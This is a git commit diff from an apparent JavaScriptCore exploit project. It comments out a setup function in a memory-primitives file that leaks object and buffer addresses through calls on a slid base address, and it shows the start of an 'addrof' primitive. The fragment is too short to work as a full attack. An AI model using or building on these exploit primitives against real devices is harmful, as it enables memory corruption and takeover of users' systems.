diff options
| author | spv420 <spv@spv.sh> | 2022-07-30 23:57:16 -0400 |
|---|---|---|
| committer | spv420 <spv@spv.sh> | 2022-07-30 23:57:16 -0400 |
| commit | 30582c3535e1a41a0d385435c14a632bdc0a3715 (patch) | |
| tree | 166c09508923ec75b5a588c31e0a039189589a4c /src/js/primitives/mem.js | |
| parent | 7cef8e59cad6f0755b9841353fcc5e39076d5387 (diff) | |
fix my own incompetence
Diffstat (limited to 'src/js/primitives/mem.js')
| -rw-r--r-- | src/js/primitives/mem.js | 3 |
1 files changed, 2 insertions, 1 deletions
diff --git a/src/js/primitives/mem.js b/src/js/primitives/mem.js index 0c03090..d664e7b 100644 --- a/src/js/primitives/mem.js +++ b/src/js/primitives/mem.js @@ -308,12 +308,13 @@ var jsobj_addr; var large_buf = new Uint32Array(0x100000); var large_buf_ptr = 0; +/* function prep_shit() { string_ref = scall("JSStringCreateWithUTF8CString", "victim"); global_object = scall("JSContextGetGlobalObject", read_u32(slid + reserve_addr + 0x44)); jsobj_addr = scall("JSObjectGetProperty", read_u32(slid + reserve_addr + 0x44), global_object, string_ref, NULL); large_buf_ptr = leak_vec(large_buf); -} +}*/ function addrof(obj) { victim.target = obj; |
